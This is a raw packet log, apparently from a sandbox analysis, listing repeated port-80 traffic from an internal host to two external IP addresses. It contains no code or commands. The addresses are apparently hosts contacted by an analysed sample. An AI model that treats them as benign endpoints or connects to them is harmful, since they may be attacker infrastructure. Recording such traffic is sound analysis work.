Nov 24, 2024 02:13:30.632601976 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.632646084 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.633295059 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.633325100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.636481047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.671154976 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.671293974 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.671391010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.671523094 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.671647072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.671655893 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.671762943 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.672288895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.672416925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.672478914 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.673096895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.673152924 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.673197031 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.673358917 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.673909903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.674041986 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.674052000 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.674469948 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.674736023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.674786091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.674834013 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.675554991 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.675642967 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.675709963 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.676364899 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.676414013 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.676423073 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.676759005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.677174091 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.677225113 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.677263021 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.677638054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.678020954 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.681426048 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.756542921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.756608009 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.756625891 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.756823063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.756896973 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.757009029 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.757055998 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.757710934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.757842064 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.757894993 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.758538961 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.758651972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.758704901 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.759360075 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.759485960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.759541035 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.760174990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.760242939 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.761010885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.761054039 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.761059046 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.761288881 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.761826038 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.761943102 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.762168884 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.762639046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.762754917 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.763202906 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.763475895 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.763645887 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.763674021 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.763689995 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.764276028 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.764333010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.764379025 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.764723063 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.765090942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.765209913 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.765332937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.765877962 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.765968084 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:30.766026020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.834213972 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:30.953665018 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.282541990 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.282609940 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.282622099 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.282660961 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.282879114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.282921076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.282959938 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.283004045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.283401012 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.283454895 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.283581972 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.283622026 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.284194946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.284230947 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.284308910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.284347057 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.285011053 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.285049915 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.285126925 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.285166025 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.285829067 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.285868883 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.285907030 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.285945892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.286659956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.286700010 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.286748886 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.286787033 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.287463903 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.287503958 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.287555933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.287595987 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.288279057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.288317919 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.288383007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.288446903 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.289100885 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.289138079 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.289202929 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.289243937 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.289916992 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.289959908 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.290009022 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.290049076 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.290750027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.290807962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.290854931 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.290924072 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.291620970 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.291662931 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.291687965 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.291727066 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.292381048 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.292421103 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.292473078 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.292512894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.293199062 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.293248892 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.293286085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.293327093 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.294017076 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.294059992 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.294122934 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.294164896 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.294826984 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.294877052 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.294954062 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.295006990 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.295664072 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.295701027 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.295768023 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.295808077 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.296480894 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.296561956 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.296601057 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.296642065 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.297310114 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.297363043 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.297408104 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.297451973 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.298110008 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.298154116 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.298229933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.298273087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.298938036 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.298980951 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.299019098 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.299062967 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.299767971 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.299814939 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.299863100 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.299905062 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.300578117 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.300623894 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.300668955 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.300709963 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.301397085 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.301440001 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.301508904 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.301549911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.302211046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.302259922 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.302308083 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.302356005 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.303046942 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.303092957 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.303136110 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.303177118 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.303865910 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.303906918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.303962946 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.304002047 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.304672956 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.304714918 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.304760933 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.304800034 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.305552006 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.305597067 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.305653095 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.305692911 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.306324005 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.306365967 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.306462049 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.306504011 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.307137966 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.307178020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.307223082 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.307262897 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.307955027 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.308001041 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.308046103 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.308090925 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:31.308742046 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:31.308784962 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:32.132304907 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:32.132343054 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:32.251904011 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:32.251921892 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:33.252850056 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:33.252955914 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:33.314910889 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:33.434556007 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:33.769670010 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:33.769700050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:33.769742012 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:33.769783020 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:33.769890070 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:33.769942045 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:33.772782087 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:33.892210960 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:34.220437050 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:34.221472979 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:34.296014071 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:34.415566921 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:35.299468994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:35.299539089 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:35.328464031 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:35.447993994 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:35.776740074 CET	80	49748	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:35.776834965 CET	49748	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:35.780637980 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:35.900609016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:35.900690079 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:35.900855064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:36.021297932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.231731892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.231786966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.231842995 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.231875896 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.232048988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.232095957 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.232111931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.232121944 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.232158899 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.232553959 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.232600927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.232604027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.232614040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.232641935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.232656002 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.233557940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.233628988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.233653069 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.233690977 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.351412058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.351428986 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.351471901 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.351495028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.355581999 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.355640888 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.357289076 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.357340097 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.357364893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.357403040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.424025059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.424083948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.424113035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.424154997 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.428185940 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.428231955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.428293943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.428339958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.436605930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.436650038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.436697960 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.436748981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.444675922 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.444729090 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.444767952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.444809914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.453042030 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.453097105 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.453156948 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.453196049 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.461441040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.461566925 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.461571932 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.461605072 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.469894886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.469944000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.469978094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.470026016 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.478434086 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.478481054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.478559017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.478598118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.486671925 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.486713886 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.486768007 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.486803055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.494316101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.494410038 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.494436979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.494489908 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.501863956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.501909018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.592365980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.592423916 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.592494965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.592535973 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.596199036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.596250057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.615809917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.615864038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.615925074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.615979910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.618000031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.618052959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.618788004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.618833065 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.618932009 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.618979931 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.623233080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.623297930 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.623336077 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:37.623379946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:37.627651930 CET	80	49756	185.215.113.16	192.168.2.4
